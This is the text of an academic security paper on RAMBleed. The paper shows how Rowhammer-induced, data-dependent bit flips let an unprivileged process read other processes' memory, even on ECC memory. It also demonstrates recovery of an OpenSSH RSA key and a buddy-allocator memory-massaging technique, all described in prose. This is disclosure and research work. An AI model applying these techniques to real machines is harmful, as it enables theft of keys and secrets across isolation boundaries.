RAMBleed: Reading Bits in Memory Without
Accessing Them
Andrew Kwong

Daniel Genkin

Daniel Gruss

Yuval Yarom

University of Michigan
ankwong@umich.edu

University of Michigan
genkin@umich.edu

Graz University of Technology
daniel.gruss@iaik.tugraz.at

University of Adelaide and Data61
yval@cs.adelaide.edu.au

Abstract—The Rowhammer bug is a reliability issue in DRAM
cells that can enable an unprivileged adversary to flip the values
of bits in neighboring rows on the memory module. Previous
work has exploited this for various types of fault attacks across
security boundaries, where the attacker flips inaccessible bits,
often resulting in privilege escalation. It is widely assumed
however, that bit flips within the adversary’s own private memory
have no security implications, as the attacker can already modify
its private memory via regular write operations.
We demonstrate that this assumption is incorrect, by employing Rowhammer as a read side channel. More specifically,
we show how an unprivileged attacker can exploit the data
dependence between Rowhammer induced bit flips and the bits
in nearby rows to deduce these bits, including values belonging to
other processes and the kernel. Thus, the primary contribution
of this work is to show that Rowhammer is a threat to not only
integrity, but to confidentiality as well.
Furthermore, in contrast to Rowhammer write side channels,
which require persistent bit flips, our read channel succeeds even
when ECC memory detects and corrects every bit flip. Thus,
we demonstrate the first security implication of successfullycorrected bit flips, which were previously considered benign.
To demonstrate the implications of this read side channel, we
present an end-to-end attack on OpenSSH 7.9 that extracts an
RSA-2048 key from the root level SSH daemon. To accomplish
this, we develop novel techniques for massaging memory from
user space into an exploitable state, and use the DRAM rowbuffer timing side channel to locate physically contiguous memory necessary for double-sided Rowhammering. Unlike previous
Rowhammer attacks, our attack does not require the use of
huge pages, and it works on Ubuntu Linux under its default
configuration settings.
Index Terms—Side channels, Rowhammer, OpenSSH

I. I NTRODUCTION
In recent years, the discrepancy between the abstract model
used to reason about computers and their actual hardware
implementation has lead to a myriad of security issues. These
range from microarchitectural attacks [15] that exploit contention on internal components to leak information such as
cryptographic keys or keystroke timing [18, 45, 65], through
transient execution attacks [10, 35, 39, 60, 63] that break down
fundamental OS isolation guarantees, to memory integrity
attacks [9, 32, 34, 36] that exploit hardware limitations to
change the contents of data stored in the device.
Rowhammer [19, 34, 55] is a fault attack, in which the
attacker uses a specific sequence of memory accesses that
results in bit flips, i.e., changes in bit values, in locations
other than those accessed. Because the attacker does not

directly access the changed memory location, the change is
not visible to the processor or the operating system, and is
not subject to any permission checks. Thus far, this ability to
reliably flip bits across security boundaries has been exploited
for sandbox escapes [19, 55], privilege escalation attacks on
operating systems and hypervisors [19, 21, 51, 55, 61, 64],
denial-of-service attacks [21, 28], and even for fault injection
in cryptographic protocols [6].
A common theme for all past Rowhammer attacks is
that they break memory integrity. Namely, the attacker uses
Rowhammer to obtain a (limited) write primitive into otherwise inaccessible memory, and subsequently modifies the
contents of that memory in a way that aligns with the attacker’s
goals. This observation has led to various mitigation proposals
designed to secure the target’s memory by using integrity
checks [62], or by employing ECC (error-correcting code)
memory to ensure memory integrity. The latter, in particular,
has long been touted as a defense against Rowhammer-based
attacks. Even when an attacker flips a bit in memory, the
ECC mechanism corrects the error, halting the attack. While
recent work has demonstrated that an attacker can defeat the
ECC mechanism, resulting in observable bit-flips after error
correction [13], successfully corrected flips are still considered
benign, without any security implications. Thus, in this paper
we pose the following questions:
•

•

Is the threat posed by Rowhammer limited only to memory
integrity and, in particular, can the Rowhammer effect be
exploited for breaching confidentiality?
What are the security implications of corrected bit flips?
Can an attacker use Rowhammer to breach confidentiality
even when ECC memory corrects all flipped bits?

A. Our Contributions
In this paper, we answer these questions in the affirmative.
More specifically, we present RAMBleed, a new Rowhammerbased attack that breaks memory confidentiality guarantees
by acquiring secret information from other processes running
on the same hardware. Remarkably, RAMBleed can break
memory confidentiality of ECC memory, even if all bit flips are
successfully corrected by the ECC mechanism. After profiling
the target’s memory, we show how RAMBleed can leak secrets
stored within the target’s physical memory, achieving a read
speed of about 3–4 bits per second. Finally, we demonstrate

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 1

 the threat posed by RAMBleed by recovering an RSA 2048bit signing key from an OpenSSH server using only user level
permissions.
Data-Dependent Bit Flips. The main observation behind
RAMBleed is that bit flips depend not only on the bit’s
orientation, i.e., whether it flips from 1 to 0 or from 0 to 1, but
also on the values of neighboring bits [34]. Specifically, true
bits tend to flip from 1 to 0 when the bits above and below
them are 0, but not when the bits above and below them are
1. Similarly, anti bits tend to flip from 0 to 1 when the bits
above and below them are 1, but not when the bits above and
below them are 0. While this observation dates back to the
very first Rowhammer paper [34], we show how attackers can
use it to obtain a read primitive, thereby learning the values
of nearby bits which they might not be allowed to access.
RAMBleed Overview.
Suppose an attacker wants to
determine the value of a bit in a victim’s secret. The attacker
first templates the computer memory to find a flippable bit
at the same offset in a memory page as the secret bit. (For
the rest of the discussion we assume a true bit, i.e., one that
flips from 1 to 0.) The attacker then manipulates the memory
layout to achieve the arrangement depicted below:
Row Activation Page
Unused
Row Activation Page

Secret
Sampling Page
Secret

Here, each memory row spans two memory pages of size
4 KiB. The attacker uses the Row Activation pages for hammering, the Sampling page contains the flippable bit, which
is initialized to 1, and Secret pages contain the secret victim
data that the attacker aims to learn. If the value of the secret
bit is 0, the layout results in a flippable 0-1-0 configuration,
i.e., the flippable bit is set to 1, and the bits directly above
and below it are 0. Otherwise, the secret bit is 1, resulting in
a 1-1-1 configuration, which is not flippable.
Next, the attacker repeatedly accesses the two activation
pages she controls (left top and bottom rows), thereby hammering the middle row. Because the Rowhammer effects are
data dependent, this hammering induces a bit flip in the
sampling page in the case that the secret bit is 0. The attacker
then accesses the sampling page directly, checking for a bit
flip. If the bit has flipped, the attacker deduces that the value
of the secret bit is 0. Otherwise, the attacker deduces that
the value is 1. Repeating the procedure with flippable bits at
different offsets in the page allows the attacker to recover all
of the bits of the victim’s secret.
We note here that neither the victim nor the attacker access
the secrets in any way. Instead, by accessing the attackercontrolled row activation pages, the attacker uses the victim’s
data to influence Rowhammer-induced bit flips in her own
private pages. Finally, the attacker directly checks the sampling
page for bit flips, thereby deducing the victim’s bits. As such,
RAMBleed is a cross address space attack.
ECC Memory. ECC memory has traditionally been considered an effective defense against Rowhammer-based attacks.
Even when an attacker flips a bit in memory, the hard-

ware’s ECC mechanisms simply revert back any Rowhammerinduced bit flips. However, recent work has demonstrated
that an attacker can defeat the ECC mechanism by inducing
enough carefully-placed flips in a single codeword, resulting
in observable bit-flips after error correction [13].
In this paper, however, we show that even ECC-corrected
bit flips may have security implications. This is because
RAMBleed does not necessarily require the attacker to read
the bit to determine if it has flipped. Instead, all the attacker
requires for mounting RAMBleed is an indication that a bit in
the sampling page has flipped (and subsequently corrected).
Unfortunately, as Cojocar et al. [13] show, the synchronous
nature of the ECC correction algorithm typically exposes such
information through a timing channel, where memory accesses
that require error correction are measurably slower than normal
accesses.
Thus, we can exploit Rowhammer-induced timing variation
to read data even from ECC memory. In particular, our work is
the first to highlight the security implications of successfully
corrected flips, hitherto considered to be benign.
Memory Massaging. One of the main challenges for mounting RAMBleed, and Rowhammer-based attacks in general, is
achieving the required data layout in memory. Past approaches
rely on one or more mechanisms which we now describe. The
first practical Rowhammer attack relied on operating system
interfaces (e.g., /proc/pid/pagemap in Linux) to perform
virtual-to-physical address translation for user processes [55].
Later attacks leveraged huge pages, which give access to
large chunks of consecutive physical memory [19], thereby
providing sufficient information about the physical addresses
to mount an attack. Other attacks utilized memory grooming or
massaging techniques [61], which prepare memory allocators
such that the target page is placed at the attacker-chosen physical memory location with a high probability. An alternative
approach is exploiting memory deduplication [7, 51], which
merges physical pages with the same contents. The attacker
then hammers its shared read-only page, which is mapped to
the same physical memory location as the target page.
However, many of these mechanisms are no longer available
for security reasons [42, 52, 57, 61]. Thus, as a secondary
contribution of this paper, we present a new approach for
massaging memory to achieve the desired placement. Our
approach builds on past works that exploit the Linux buddy
allocator to allocate blocks of consecutive physical memory [11, 61]. We extend these works by demonstrating how
an attacker can acquire some physical address bits from the
allocated memory. We further show how to place secretcontaining pages at desired locations in the physical memory.
Finally, we note that this method may have independent
value for mounting Prime+Probe last-level cache attacks [40].
This is since it allows the attacker to deduce physical addresses
of memory regions, thereby aiding eviction set construction.
Extracting Cryptographic Keys.
To demonstrate the
effectiveness of RAMBleed, we use it to leak secrets across
process boundaries. Specifically, we use RAMBleed against
an OpenSSH 7.9 server (newest version at time of writ-

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 2

 ing), and successfully read the bits of an RSA-2048 key
at a rate of 0.3 bits per second, with 82% accuracy. We
combine the attack with a variant of the Heninger-Shacham
algorithm [23, 24, 46] designed to recover RSA keys from
partial information, achieving complete key recovery.
Summary of Contributions.
In this paper we make the
following contributions:
• We demonstrate the first Rowhammer attack that breaches
confidentiality, rather than integrity (Section IV).
• We abuse the Linux buddy allocator to allocate a large block
of consecutive physical addresses, and show how to recover
some of the physical address bits (Section V-A).
• We design a new mechanism, which we call Frame Feng
Shui, for placing victim program pages at a desired location
in the physical memory (Section V-C).
• We demonstrate a Rowhammer-based attack that leaks keys
from OpenSSH while only flipping bits in memory locations
the attacker is allowed to modify (Section VII).
• Finally, we demonstrate RAMBleed against ECC memory,
highlighting security implications of successfully-corrected
Rowhammer-induced bit flips (Section VIII).
B. Responsible Disclosure
Following the practice of responsible disclosure, we have
notified Intel, AMD, OpenSSH, Microsoft, Apple, and Red
Hat about our findings. The results contained in this paper (and
in particular our memory massaging technique) were assigned
CVE-2019-0174 by Intel.
C. Related Works
Security Implications of Rowhammer. The potential for
sporadic bit flips was well known in the DRAM manufacturing
industry, but was considered a reliability issue rather than a
security threat. Kim et al. [34] were the first to demonstrate a
reliable method for inducing bit flips by repeatedly accessing
pairs of rows in the same bank. Subsequently, Seaborn and
Dullien [55] showed that Rowhammer is a security concern
by using Rowhammer-induced flips to break out of Chrome’s
Native Client sandbox [67] and obtain root privileges.
Since the initial Rowhammer-based exploit of [55], researchers have demonstrated numerous other avenues for
Rowhammer exploitation. Gruss et al. [19] demonstrated
that page-table bits can be flipped via Rowhammer from
JavaScript, while Bosman et al. [7] flipped the types of
JavaScript objects through the browser. Aweke et al. [2] also
demonstrated Rowhammer flips without the use of CLFLUSH,
and with a halved DRAM refresh interval. Van Der Veen
et al. [61] used Rowhammer to gain root on mobile phones,
while Lipp et al. [38] and Tatar et al. [59] used network
requests to induce Rowhammer flips via a completely remote
attack. Frigo et al. [14] managed to induce bit flips from the
browser’s interface to the GPU. ECC memory was shown to
be vulnerable to Rowhammer by Cojocar et al. [13].
Lou et al. [41] systematically categorize Rowhammer attacks in a framework to better understand the problem and
uncover new types of Rowhammer attacks. Their methodology,

however, is limited and completely ignores the possibility of
using Rowhammer as a read side channel.
Defenses. Various defenses have been proposed for Rowhammer attacks, aiming to detect ongoing attacks [2, 12, 20, 27,
47, 69], neutralize the effect of bits being flipped [19, 61], or
eliminate the possibility of Rowhammer bit flips in the first
place [8, 31, 33, 34].
II. BACKGROUND
This section provides the necessary background on DRAM
architecture, the row-buffer timing side channel described by
Pessl et al. [49], and the Rowhammer bug. We begin by briefly
overviewing DRAM organization and hierarchy.
A. DRAM Organization
DRAM Hierarchy. DRAM (dynamic random access memory) is organized in a hierarchy of cells, banks, ranks, and
DIMMs, which are connected to one or more channels.
More specifically, at the lowest level DRAM stores bits in
units called cells, each consisting of a capacitor paired with
a transistor. The charge on the capacitor determines the value
of the bit stored in the cell, while the transistor is used to
access the stored value. For true cells, a fully charged capacitor
represents a ‘1’ and a discharged capacitor represents a ‘0’
while the opposite holds true for anti cells.
Memory cells are arranged in a grid of rows and columns
called a bank. Cells in each row are connected via a word
line, while cells in each column are connected across bit lines.
Banks are then grouped together to form a rank, which often
corresponds to one side of a DIMM. Each DIMM is inserted,
possibly with other DIMMs, into a single channel, which is a
physical connection to the CPU’s memory controller.
DRAM Operation. Access to a DRAM bank operates at
a resolution of a row, typically consisting of 65536 cells, or
8 KiB. To activate a row, the memory controller raises the
word line for the row. This produces minute currents on the
bit lines, which depend on the charge in the cells of the active
row. Sense amplifiers capture these currents at each column
and amplify the signal to both copy the logical value of the
cell into a latch and refresh the charge in the active row. Data
can then be transferred between the CPU and the row buffer,
which consists of the latches that store the values of the cells
in the active row.
Over time, the charge in the cell capacitors in DRAM leaks.
To prevent data loss through leakage, the charges need to be
refreshed periodically. Refreshing is handled by the memory
controller, that ensures that each row is opened at least once
every refresh interval, which is generally 64 ms [30] for
DDR3 and DDR4. LPDDR4 defines temperature-dependent
adaptations for the refresh interval [29].
DRAM Addressing. Modern memory controllers use a complex function to map a physical address to the correct physical
location in memory (i.e., to a specific channel, DIMM, rank,
bank, row, and column). While these functions are proprietary
and undocumented for Intel processors, they can be reverse

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 3

 ···

hammer
···

expect flip

hammer

expect flip

expect flip

hammer

hammer

hammer

expect flip

expect flip
expect flip
expect flip

expect flip

Fig. 1: Reverse engineered DDR3 single channel mapping (2
DIMM per channel) for Ivy Bridge / Haswell (from [49]).

engineered through both software- and hardware-based techniques [49]. For example, Section II-A shows the DRAM
mapping for a typical configuration found in Ivy Bridge and
Haswell systems. As the figure shows, the bank and the rank
are determined based on bits 13–21 of the physical address. We
have verified that the mapping matches the Haswell processor
we use in our experiments.
Row Addressing. As discussed above, DRAM rows have a
fixed size of typically 8 KiB. However, from the implementation side, it is usually more important to know what amount of
memory has the same row index. This is sometimes referred to
as same-row [19, 55]. If the address goes to the same row and
the same bank, it is called same-row same-bank; if it goes
to different banks but has the same row index, it is called
same-row different-bank [55].
In our experimental setup, we have a total of 32 DRAM
banks, and thus an aligned block of 256 KiB = 218 B of
memory has the same row index. In other words, the row
index on our system is directly determined by bits 18 and
above of the physical address. Pessl et al. [49] provide a more
extensive discussion.
B. Row-Buffer Timing Side Channel
Opening a row and loading its contents into the row buffer
results in a measurable latency. Even more so, repeatedly
alternating accesses to two uncached memory locations will
be significantly slower if these two memory locations happen
to be mapped to different rows of the same bank [49]. In
Section V, we use this timing difference to identify virtual
addresses whose contents lie within the same bank, and
also uncover the lower 22 physical addressing bits, thereby
enabling double-sided Rowhammer attacks.
C. Rowhammer
The trend towards increasing DRAM cell density and decreasing capacitor size over the past decades has given rise to
a reliability issue known as Rowhammer. Specifically, repeated
accesses to rows in DRAM can lead to bit flips in neighboring
rows (not only the direct neighbors), even if these neighboring
rows are not accessed [34].
The Root Cause of Rowhammer. Due to the proximity of
word lines in DRAMs, when a word line is activated, crosstalk
effects on neighboring rows result in partial activation, which
leads to increased charge leakage from cells in neighboring
rows. Consequently, when a row is repeatedly opened, some

···
expect flip
expect flip
expect flip

···

···
hammer

(a) Double-sided

(b) Single-sided

···

(c) One-location

Fig. 2: Different hammering techniques as presented by [21].

cells lose enough charge before being refreshed to drop to an
uncharged state, resulting in bit flips in memory.
Performing Uncached Memory Accesses.
A central requirement for triggering Rowhammer bit flips is the capability
to make the memory controller open and close DRAM rows
rapidly. For this, the adversary needs to generate a sequence
of memory accesses to alternating DRAM rows that bypass
the CPU cache. Several approaches have been suggested for
bypassing the cache.
• Manually Flush Cache Lines.
The x86 instruction
set provides the CLFLUSH instruction, which flushes the
cache line containing its destination address from all of
the levels of the cache hierarchy. Crucially, CLFLUSH only
requires read access to the flushed address, facilitating
Rowhammer attacks from unprivileged user-level code. On
ARM platforms, prior to ARMv8, the equivalent cache line
flush instruction could only be executed in kernel mode;
ARMv8 does, however, offers operating systems the option
to enable an unprivileged cache line flush operation.
• Cache Eviction. In cases where the CLFLUSH instruction
is not available (e.g. in the browser), an attacker can force
contention on cache sets to cause cache eviction [2, 19].
• Uncached DMA Memory. Van Der Veen et al. [61] report
that the cache eviction method above is not fast enough to
cause bit flips on contemporary ARM-based smartphones.
Instead, they used the Android ION feature to allocate
uncacheable memory to unprivileged userspace applications.
• Non-temporal instructions. Non-temporal load and store
instructions direct the CPU not to cache their results. Avoiding caching means that subsequent accesses to the same
address bypass the cache and are served from memory [50].
Another important distinction between Rowhammer attacks is
the strategy in which DRAM rows are activated, i.e., how
aggressor rows are selected. See Figure 2.
Double-sided Rowhammer.
The highest amount of
Rowhammer-induced bit flips occur when the attacker hammers, that is repeatedly opens and closes, the two rows
adjacent to a target row. This approach maximizes the number
of neighboring row activations, and consequently the charge
leakage from the target row (Figure 2a). However, for doublesided hammering, the attacker needs to locate addresses in the
two adjacent rows, which may be difficult without knowledge
of the physical addresses and their mapping to rows. Previous
attacks exploited the Linux pagemap interface, which maps
virtual to physical addresses. However, to mitigate the Seaborn

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 4

 and Dullien [55] attack, recent versions of Linux only allow
root access to the pagemap interface.
Another avenue used by previous works for finding adjacent
rows is to use huge pages, e.g., transparent huge pages (THP),
to obtain large blocks of physically contiguous memory [19].
Single-sided Rowhammer. To avoid the need for finding
the two rows adjacent to the target row, an adversary can take
a more opportunistic approach, which aims to cause bit flips
in any row in memory (Figure 2b). This can be achieved by
guessing several addresses at random, e.g., 8 addresses, in the
hope that some fall within two rows in the same bank. With
B banks,
Qn the probability of having at least one such a pair is
1 − i=1 B−i
B , i.e., 61.4% for 8 addresses and 32 banks.
Alternatively, the adversary can take a more disciplined
approach and use the row-buffer timing channel (Section II-B)
to identify rows in the same bank [6, 61].
Because only one of the rows being hammered is located
near the target row, single-sided Rowhammer results in fewer
bit flips than double-sided Rowhammer [2].
One-location Rowhammer. Finally, one-location hammering [21], is the least restrictive strategy, but also generates
the fewest number of bit flips (Figure 2c). Here, the attacker
repeatedly flushes and then reads from a single row. The
presumed cause of flips, in this case, is that newer memory
controller policies automatically close DRAM rows after a
small amount of time. This obviates the need to open different
rows in the same bank.
D. RSA Background
As the end-to-end attack described in this paper recovers
RSA private keys from an OpenSSH server, we now briefly
overview the RSA [53] cryptosystem and signature scheme.
A user creates an RSA key pair by first generating two
random primes, p and q, a public exponent e, and a private
exponent d such that e · d ≡ 1 (mod (p − 1)(q − 1)). The
public key is then set to be (e, N ) where N = pq, and the
private key is set to be (d, N ). To sign a message m, the signer
uses its private key to compute σ ← z d mod N , where z is a
collision resistant hashing of m. To verify a signature σ, the
verifier first hashes the message by herself and obtains a digest
z 0 . She then computes z 00 ← σ e mod N using the public key
and verifies that z 0 = z 00 , and rejects the signature otherwise.
The Chinese Remainder Theorem. A common optimization
used by most applications to compute σ ← z d mod N is the
Chinese Remainder Theorem (CRT). Here, the private key
is first augmented with dp ← d mod (p − 1) and dq ←
d mod (q−1). Next, instead of computing z d mod N directly,
the signer computes σp ← z dp mod p and σq ← z dq mod q.
Finally, the signer computes σ from σp and σq using the CRT.
Partial Key Recovery. Cryptographic keys recovered through
a side channel are typically subject to some measure of noise.
Often only a fraction of the key bits are recovered, and their
values are not known with certainty. Various researchers have
exploited the redundancy present in private key material to
correct the errors [5, 25, 44, 46, 48, 66].

III. T HREAT M ODEL
We assume an attacker that runs unprivileged software
within the same operating system (OS) as the victim software.
The OS maintains isolation between the victim program and
the attacker. In particular, we assume that the OS works
correctly. We further assume that the attacker cannot exploit
microarchitectural side channel leakage from the victim, either
because the victim does not leak over microarchitectural
channels or because the OS enforces time isolation [16]. We
do assume that the machine is vulnerable to the Rowhammer
attack. However, we assume that the attacker only changes
its own private memory to bypass any countermeasures and
detection mechanisms. Finally, we assume that the attacker is
able to somehow trigger the victim to perform allocations of
secret data (for example using an incoming SSH connections
for the OpenSSH attack in Section VII).
IV. RAMB LEED
Previous research mostly considers Rowhammer as a threat
to data integrity, allowing an unprivileged attacker to modify
data without accessing it. With RAMBleed, however, we
show that Rowhammer effects also have implications on data
confidentiality, allowing an unprivileged attacker to leverage
Rowhammer-induced bit flips in order to read the value of
neighboring bits. Furthermore, as not every bit in DRAM can
be flipped via Rowhammer, we also present novel memory
massaging techniques that aim to locate and subsequently
exploit Rowhammer flippable bits. This enables the attacker to
read otherwise inaccessible information such as secret key bits.
Finally, as our techniques only require the attacker to allocate
and deallocate memory and to measure instruction timings,
RAMBleed allows an unprivileged attacker to read secret data
using the default configuration of many systems (e.g., Ubuntu
Linux), without requiring any special configurations (e.g.,
access to pagemap, huge pages, or memory deduplication).
A. The Root Cause of RAMBleed.
RAMBleed exploits a physical phenomenon in DRAM
DIMMs wherein the likelihood of a Rowhammer induced
bit flip depends on the values of the bits immediately above
and below it. Bits only flip when the bits both immediately
above and below them are in their discharged state [13].
This is in agreement with observations by Kim et al. [34]
that hammering with a striped pattern, where rows alternate
between all zeros and all ones, generates many more flips than
with a uniform pattern.
Data-Dependent Bit Flips. Put simply, bits tend to flip to
the same value of the bits in the adjacent rows. That is, a
charged cell is most likely to flip when it is surrounded by
uncharged cells. This is likely due to capacitors of opposite
charges inducing parasitic currents in one another, which cause
the capacitors to leak charge more quickly [3]. For our attack
to work, is it also crucial that bit flips are influenced only by
bits in the same column, and not by the neighboring bits within
the same row. This isolation is what allows us to deduce one

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 5

 bit at a time. Cojocar et al. [13] experimentally demonstrate
this to be the case.
A Toy Example. To illustrate with a concrete example, we
introduce the notation of an x-y-z configuration to describe the
situation in which three adjacent bits in the same column have
the values x, y, and z, respectively, where x, y, z ∈ {0, 1}. The
key reasoning behind our attack is as follows.
•

•

True Cells. For cells where a one-valued bit is represented
as the cell being charged, the 0-1-0 configuration is the
most likely to flip, changing to an all zero configuration (00-0) when rows of the first and the last zero-valued cells
are hammered. In this case, the surrounding zero-bits in the
aggressor rows enable the bit flip in the victim row.
Anti Cells. For cells where a one-valued bit is represented
by an uncharged cell, a 1-0-1 configuration is more likely
to flip and change to an all one configuration (1-1-1) when
rows of the first and the last one-valued cells are hammered.

Notation.
We adopt Cocojar et al.’s [13] terminology of
calling 0-1-0 and 1-0-1 configurations “stripe” patterns, and
naming 1-1-1 and 0-0-0 configurations “uniform” patterns.
Given this data dependency, we now proceed to build a read
side channel in which we read the bits in surrounding rows
by observing flips, or lack thereof, in the attacker’s row.
B. Memory Scrambling
One potential obstacle to building our read channel is
that modern memory controllers employ memory scrambling,
which is designed to avoid circuit damage due to resonant
frequency [68] as well as to serve as a mitigation to coldboot attacks [22]. Memory scrambling applies a weak stream
cipher to the data prior to sending it to the DRAM. That is,
the memory scrambler XORs the data with the output of a
pseudo-random number generator (PRNG). The seed for the
PRNG depends on the physical address of the data and on a
random number generated at boot time [26, 43]. The PRNG
is cryptographically weak, and given access to the physical
data in the DRAMs, an adversary can reverse engineer it and
recover the contents of the memory [4, 68].
Bypassing Memory Scrambling. Under our threat model
we cannot use the techniques of Yitbarek et al. [68], as we do
not assume physical access. However, we can take advantage
of the weaknesses of the PRNG. In particular, The boot-time
random seed is identical for all rows, and the physical address
bits included in the seed are such that several adjacent rows
can have the same bits in their addresses. Thus, adjacent
rows typically use the same seed, and have the same mask
applied. Applying the same mask across multiple rows means
that adjacent bits either remain unchanged or are all inverted.
Either way, as observed by [13], striped configurations remain
striped after scrambling. Hence, writing a striped configuration
to memory results in a striped configuration appearing in the
DIMM, maintaining the crucial property that a bit will only
flip if the bits immediately above and below have the opposite
value.

C. Exploiting Data-Dependent Bit Flips
We now show how to exploit the data-dependent bit flips
presented above to read data without accessing it.
A Leaky Memory Layout. We begin by considering the
memory layout presented in Figure 3a, where every DRAM
row contains two 4 KiB pages. In this layout, we assume that
A0, A1, and A2 are the attacker-controlled pages containing
known data, S is a page with the victim’s secret, and R0 is
an arbitrary page. All three rows reside in the same bank.
Next, note that attacker pages A0 and A2 reside in the same
rows as the copies of S. Since DRAM row-buffers operate
at an 8 KiB granularity, accessing a value in A0 activates the
entire first row, including the page containing the secret S.
Similarly, accessing a value in A2 activates the entire third row,
again including the page that contains S. Thus, by repeatedly
accessing A0 and A2, the attacker can indirectly use the victim
pages containing S for hammering, despite not having any
permissions to access them.
Hammering. By hammering the attacker-controlled pages A0
and A2, the attacker induces analog disturbance and interaction
between S and A1. Page A1 also belongs to the attacker, who
can therefore detect bit flips in it. From these bit flips, the
attacker can infer the values of bits in S.
Reading Secret Bit Values. Given a page P , we denote
by P [i] the i-th bit in P , where i ∈ {0, 1, . . . , 32766, 32767}.
At a high level, given a known flippable bit A1[i] in the page
A1, we can read the corresponding bit S[i] (i.e., the bit at the
same offset within the frame) in S as follows:
1) Initialize. Assuming that the bits are true cells, the attacker
first populates all of A1 with ones before hammering.
2) Hammer. The attacker repeatedly reads her own pages
A0 and A2, thereby using the victim’s secret-containing
pages to perform double-sided hammering on A1.
3) Observe. After hammering, the attacker reads the value of
the bit A1[i], which is accessible to her because the page
A1 is located inside the attacker’s own private memory
space. We argue that after hammering, the value of A1[i]
is equal to the value of S[i]. Indeed, if S[i] equals 0, then
before hammering A1[i] would have been in the center of a
0-1-0 stripe configuration. Since A1[i] sits in the center of
a flippable stripe configuration, A1[i] will flip from one to
zero after hammering. Conversely, if S[i] equal to 1, then
A1[i] will be in the center of a 1-1-1 uniform configuration,
and will retain its value of 1 after hammering. Thus, in
both cases, the attacker reads A1[i] from her own private
memory after hammering, which directly reveals S[i].
Double-sided RAMBleed.
In the case of anti-cells, the
only change we make is that in step 1, we populate A1 with
zeros instead of ones. Thus, by observing bit flips in her own
pages, the attacker can deduce the values of surrounding cells.
Since the secret S surrounds A1 from both sides, we call this
“double-sided RAMBleed”.
Single Sided RAMBleed. Figure 3b presents the memory
layout for what we call “single-sided RAMBleed”, which
differs from the double-side case only in the bottom right

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 6

 8KiB
Row Activation Page (A0)
Unused (R0)
Row Activation Page (A2)

8KiB
Secret (S)
Sampling Page (A1)
Secret (S)

Row Activation Page (A0)
Unused (R0)
Row Activation Page (A2)

(a) Double-sided Rambleed. Here, the sampling page (A1) is
sandwiched between two copies of S.

Secret (S)
Sampling Page (A1)
Unused (R1)

(b) Single-sided Rambleed. Here, the sampling page (A1) is
neighbored by the secret-containing page (S) on a single side.

Fig. 3: Page layout for reading out the victim’s secret. Each cell represents a 4 KiB page, meaning that each row represents
an 8 KiB row in a DRAM bank. The attacker repeatedly accesses her row activation pages A0 and A2, activating the top and
bottom rows. She then reads out corresponding bits in page S by observing bit flips in the sampling page A1.

frame; instead of another copy of S, an arbitrary page R1
resides below A1. With this configuration, we can still read
out bits of S by following the same steps as in the doublesided scenario, albeit with reduced accuracy. The reduction
in accuracy is because the value of R1[i] may differ from
that of S[i]. Assuming a uniform distribution of bits in R1,
in half of the cases, the starting configuration is one of 11-0 and 0-1-1, which are neither striped nor uniform. With
such configurations, bits tend to flip less than with striped
configurations introducing uncertainty to the read values. Yet,
in half of the cases R1[i]=S[i], resulting in the same outcome
as for the double-sided RAMBleed scenario.
While double-sided RAMBleed maximizes the disturbance
interactions between the secret bits and A1, it is also more
challenging to execute in practice because it requires two
copies of the same data in memory. Nevertheless, in Section VII we show how an attacker can reliably obtain two
copies of S, demonstrating an end-to-end attack on OpenSSH.
V. M EMORY M ASSAGING
The descriptions from Section IV assume that the attacker can
place the victim’s secrets in the layout shown in Figure 3,
where A0–A2 are allocated to the attacker, and that the
attacker knows which bits can flip and in which direction. We
now present novel memory massaging primitives that achieve
both goals without requiring elevated permissions or special
operating system configuration settings (i.e., avoiding huge
pages, page map access, memory deduplication).

kernel stores memory in physically consecutive blocks that
are arranged by order, where the nth order block consists of
4096 · 2n physically consecutive bytes. The kernel maintains
free lists for blocks of orders between 0 and 10. To reduce
fragmentation, the buddy allocator always attempts to serve
requests using the smallest available blocks. If no small block
is available, the allocator splits the next smallest block into
two “buddy” halves. These halves are coalesced into one block
when they are both free again.
The user space interface to the buddy allocator, however,
can only make requests for blocks of order 0. If, for example,
a user program requests 16 KiB, the buddy allocator treats
this as four requests for one 4 KiB block each. This means
that irrespective of their size, user space requests are first
handled from the free list of 0 order blocks. Only once the
allocator runs out of free 0 order blocks, it will start serving
memory requests by splitting larger blocks to generate new 0
order blocks. Thus, while obtaining a virtually consecutive
2 MiB block is trivial and only requires a single memory
allocation, obtaining a physically consecutive block requires
a more careful strategy, which we now describe.
Obtaining a Physically Consecutive 2 MiB Block. We now
exploit the deterministic behavior of the buddy allocator to
coerce the kernel into providing us with physically consecutive
memory, using the following steps:
•

A. Obtaining Physically Consecutive Pages
As we can see in Figure 3, the attack requires pages located
in three consecutive 8 KiB rows in the same bank. While
this task was previously achieved using the Android ION
allocator [61], no such interface is available in non-Android
Linux. Instead, we exploit the Linux buddy allocator [17] to
allocate a 2 MiB block of physically consecutive memory. As
the same-row-index size (See Section II-A) on our system is
256 KiB, we are guaranteed to be able to build the layout of
Figure 3 using some of the pages in the block provided by
the allocator. We now proceed to provide a short overview of
Linux’s buddy allocator. See Gorman [17] for further details.
Linux Buddy Allocator. Linux uses the buddy allocator to
allocate physical memory upon requests from userspace. The

•

Phase 1: Exhausting Small Blocks.
First, we allocate memory using the mmap system call with the
MAP POPULATE flag, which ensures that the kernel eagerly allocates the pages in physical memory, instead of
the default lazy strategy that waits for them to be accessed
first. Next, we use the /proc/pagetypeinfo interface
to monitor available block sizes in the kernel free lists, and
continue to allocate memory until less than 2 MiB of free
space remains in blocks of order less than 10.
Phase 2: Obtaining a Consecutive 2 MiB Block. Once
free space in blocks of order below 10 is less then 2 MiB,
we make two requests of size 2 MiB each. Thus, to serve the
first request after exhausting the smaller blocks, the kernel
needs to split one of the 10th order blocks (whose size
is 4 MiB each). This leaves more than 2 MiB in the free
list, where all such space comes from the newly-split 4 MiB
block, and is served in-order. Thus, the memory allocated for

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 7

 the second request consists of consecutive physical memory
blocks, which is exactly what we require.
While the region we obtain in the second allocation is physically consecutive, this approach does not guarantee that the
obtained area will be 2 MiB-aligned in the physical memory.
Thus, to use the obtained region for Rowhammer, we require
an additional step to recover more information about the
physical address of the obtained 2 MiB region.1
